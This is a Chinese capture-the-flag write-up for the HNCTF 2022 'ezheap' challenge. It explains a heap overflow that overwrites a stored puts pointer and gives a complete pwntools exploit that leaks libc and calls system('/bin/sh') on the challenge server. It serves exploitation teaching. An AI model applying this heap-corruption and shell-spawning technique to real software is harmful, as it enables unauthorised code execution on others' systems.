off-by-one

[HNCTF 2022 WEEK4]ezheap

NSS

来看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]

init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getnum();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}

可以观察到有新建,查看,修改,删除四种功能

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int v3; // [rsp+0h] [rbp-20h]
signed int v4; // [rsp+4h] [rbp-1Ch]

puts("Input your idx:");
v3 = getnum();
puts("Size:");
v4 = getnum();
if ( (unsigned int)v4 > 0x100 )
{
LODWORD(v1) = puts("Invalid!");
}
else
{
*((_QWORD *)&heaplist + v3) = malloc(0x20uLL);
if ( !*((_QWORD *)&heaplist + v3) )
{
puts("Malloc Error!");
exit(1);
}
v0 = *((_QWORD *)&heaplist + v3);
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 32LL) = &puts;
if ( !*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
sizelist[v3] = v4;
puts("Name: ");
if ( !(unsigned int)read(0, *((void **)&heaplist + v3), 0x10uLL) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(*((_QWORD *)&heaplist + v3) + 16LL), sizelist[v3]) )
{
puts("Error!");
exit(1);
}
puts("Done!");
v1 = *((_QWORD *)&heaplist + v3);
*(_DWORD *)(v1 + 24) = 1;
}
return v1;
}

分析程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int v3; // [rsp+0h] [rbp-20h]
signed int v4; // [rsp+4h] [rbp-1Ch]

puts("Input your idx:");
v3 = getnum();
puts("Size:");
v4 = getnum();
if ( (unsigned int)v4 > 0x100 )
{
LODWORD(v1) = puts("Invalid!");
}
else
{

*((_QWORD *)&heaplist + v3) = malloc(0x20uLL);*
#这里 malloc0x20 大小的内存块.然后将其地址存入 heaplist[] 这个指针数组下标为 idx 处

if ( !*((_QWORD *)&heaplist + v3) )
{
puts("Malloc Error!");
exit(1);
}
v0 = *((_QWORD *)&heaplist + v3);
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 32LL) = &puts;
if ( !*(_QWORD *)(*((_QWORD *)&heaplist + v3) + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
sizelist[v3] = v4;
puts("Name: ");
if ( !(unsigned int)read(0, *((void **)&heaplist + v3), 0x10uLL) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(*((_QWORD *)&heaplist + v3) + 16LL), sizelist[v3]) )
{
puts("Error!");
exit(1);
}
puts("Done!");
v1 = *((_QWORD *)&heaplist + v3);
*(_DWORD *)(v1 + 24) = 1;
}
return v1;
}
1
2
3
4
5
6
7
8
9
            ++++++++++++++++++++++++++++++++++++++++++++++++++++++++              
heaplist--> || || || idx || || || || || || ||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
|
| |++++++++|
++++->| |
| 0x20 |
| |
|++++++++|

第一步malloc(0x20)内存执行完毕后的内存空间

然后是

1
2
v0 = heaplist[idx];
*(_QWORD *)(v0 + 16) = malloc(size);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                         malloc(0x20)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
heaplist--> || || || idx || || || || || || ||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
|
| |++++++++| offset = 0
| | |
|---> | |<----malloc_size_addr ; offset = 0x10
| | |
|++++++++| | +++++++++++++++++
+------->| |
| |
| |
| |
+++++++++++++++++

继续执行

1
*(_QWORD *)(heaplist[idx] + 32LL) = &puts;

这里可以看到程序把put函数的地址存入了heaplist[idx]偏移0x20的地方

这里的 heaplist[idx]不就是上面代码中的 v0 吗?这里肯定就是我们攻击的点了,但是这一块内存块一共就 32 个字节大小,这个地址从 32 处开始存,存到哪里了呢?

1
0x55555555b000     0x55555557c000 rw-p    21000      0 [heap]

执行到第二个add

在gdb中输入

1
x /32gx   0x55555555b000

可以看到

分配的内存块的地址是相连的,所以 puts 函数的地址就是写入到下一个 chunk 的头部去了
malloc函数分配内存块之后,返回给我们的地址是我们要使用的数据的起始地址,而不是 chunk 头的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x55555555b000:	0x0000000000000000	0x0000000000000031
0x55555555b010: 0x0000000000000a41 0x0000000000000000
0x55555555b020: 0x000055555555b040 0x0000000000000001 //name
0x55555555b030: 0x00007ffff786f6a0 0x0000000000000021 //content
0x55555555b040: 0x0000000000000a41 0x0000000000000000
0x55555555b050: 0x0000000000000000 0x0000000000000031
0x55555555b060: 0x0000000000000a42 0x0000000000000000
0x55555555b070: 0x000055555555b090 0x0000000000000001
0x55555555b080: 0x00007ffff786f6a0 0x0000000000000021 //name
0x55555555b090: 0x0000000000000a42 0x0000000000000000 //content
0x55555555b0a0: 0x0000000000000000 0x0000000000020f61
0x55555555b0b0: 0x0000000000000000 0x0000000000000000
0x55555555b0c0: 0x0000000000000000 0x0000000000000000
0x55555555b0d0: 0x0000000000000000 0x0000000000000000
0x55555555b0e0: 0x0000000000000000 0x0000000000000000
0x55555555b0f0: 0x0000000000000000 0x0000000000000000

我们可以把前一个堆用edit改变大小,溢出到070的位置把原本指向第二个content的堆指针改成指向puts的

下图是示例图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
                         malloc(0x20)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
heaplist--> || || || idx || || || || || || ||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
chunk |
| |
====================---+-->|-----|+++++++++++++|
| | pre_size |
0x10 | |+++++++++++++|
========================---+---->|+++++++++++++| <----offset = 0
| |
| name |
0x20 | |
|+++++++++++++| <----offset = 0x10
| malloc_size |
| _addr | --------------------------+
=================================|+++++++++++++| <----next chunk |
| puts_addr | |
0x10 |+++++++++++++| |
| size+flag | |
=================================|+++++++++++++| <-------------------------+
size | content |
=================================|+++++++++++++|

show函数

1
2
3
4
5
if ( v1 >= 0 && v1 <= 15 && heaplist[v1] )
{
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));
}

可知,在满足条件的情况下,将会去执行 puts 函数,这里调用了两次,第一次是将 heaplist[v1] 的值作为地址传入,会将 name 打印出来,第二个则是打印 content 中的内容。
若是我们可以 putsputs 的地址,然后我们已经知道了所用的 libc 的版本,那我们就可以得到 system 的真实地址了,然后再次覆盖,将 puts 函数地址存放的位置改成 system ,将存放 name 字段的位置改成 /bin/sh 字符串,即可触发执行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = 'debug',arch = 'amd64',os = 'linux')

# node5.anna.nssctf.cn:25207
io = remote('node5.anna.nssctf.cn',25207)
# io = process('./ezheap')
elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')
#rop = ROP('./xxx')

def choice(idx):
io.sendlineafter(b"Choice: ",str(idx))

def add(idx,size,name,content):
choice(1)
io.sendlineafter(b"Input your idx:",str(idx))
io.sendlineafter(b"Size:",str(size))
io.sendlineafter(b"Name: ",name)
io.sendlineafter(b"Content:",content)

def edit(idx,size,content):
choice(4)
io.sendlineafter(b"Input your idx:",str(idx))
io.sendlineafter(b"Size:",str(size))
io.send(content)

def delete(idx):
choice(2)
io.sendlineafter(b"Input your idx:",str(idx))

def show(idx):
choice(3)
io.sendlineafter(b"Input your idx:",str(idx))


add(0,0x10,b"scc",b"aaaa")
add(1,0x10,b"scc",b"aaaa")

# 这里的 0x80 是基于堆基址的偏移量,是第 1 个 puts 函数存放的位置,这里可以算出来 0x30 + 0x20 + 0x30
# 这里的 payload 填充是从第 0 个的 content 开始的,将其填充为 0 ,再将第一个的 prev_size 填充为 0
# 再将第 1 个的 size 填充为 0x31 ,再将 第 1 个的 name 填充为 0,最后将 show 的地址填充为 puts 地址所在的地方的偏移
# 0x80 放在 malloc_size_addr 的位置,这是因为 show 中 第二次 puts 是拿了这里的值作为地址
payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)

edit(0,0x31,payload)

show(1)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym["puts"]

system_addr = libc_base + libc.sym["system"]

payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)

edit(0,0x48,payload)
show(1)

总结:

  • malloc函数分配内存块之后,返回给我们的地址是我们要使用的数据的起始地址,而不是 chunk 头的地址。
  • 堆的由于 chunk 结构,像是一个循环
  • 疑问:虽然理解了 0x80 到底是怎么得来的,但是这里为什么可以根据偏移值去拿到那个地址里的值呢?
    这里越想越有趣,为什么payload中,包裹 0x80 的是 p8?是不是可以说明剩下的位根本就没有去改,因为堆会对齐,所以对于堆的基地址来说低3位是 0(这里的低三位是十六进制形式的低3位),那么我们只要改变低三位就是改变基地址的偏移,所以其实这里就是绝对地址,puts函数的绝对地址!(0x30也是可以的,这是第 0 个 add函数中 puts 函数所在的偏移位置)